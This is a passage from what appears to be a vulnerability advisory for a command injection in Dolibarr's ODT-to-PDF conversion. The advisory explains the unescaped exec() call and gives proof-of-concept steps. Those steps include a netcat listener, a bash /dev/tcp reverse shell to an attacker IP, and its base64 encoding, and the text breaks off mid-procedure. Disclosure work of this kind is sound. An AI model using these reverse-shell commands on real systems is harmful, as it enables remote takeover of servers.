This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.\n\n### Details\nThe vulnerability is located in `htdocs/includes/odtphp/odf.php`.\nWhen the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.\n\nCode snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):\n```php\n$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);\n// ...\nexec($command, $output_arr, $retval);\n```\n\nWhile the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.\n\n### PoC\n**Prerequisites:**\n1. Login as an Administrator.\n2. Ensure the \"Commercial Proposals\" module is enabled and \"ODT templates\" are activated in its setup.\n\n**Steps to reproduce (Reverse Shell):**\n\n1.  Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`):\n   ```bash\n   nc -lvnp 4445\n   ```\n\n2. Prepare the payload. To avoid issues with special characters (like `\u0026` or `\u003e`) being escaped by the web application or shell, encode the reverse shell command in Base64:\n   ```bash\n   # Command: bash -c 'bash -i \u003e\u0026 /dev/tcp/172.26.0.1/4445 0\u003e\u00261'\n   echo \"bash -c 'bash -i \u003e\u0026 /dev/tcp/172.26.0.1/4445 0\u003e\u00261'\" | base64\n   # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK\n   ```\n\n3.
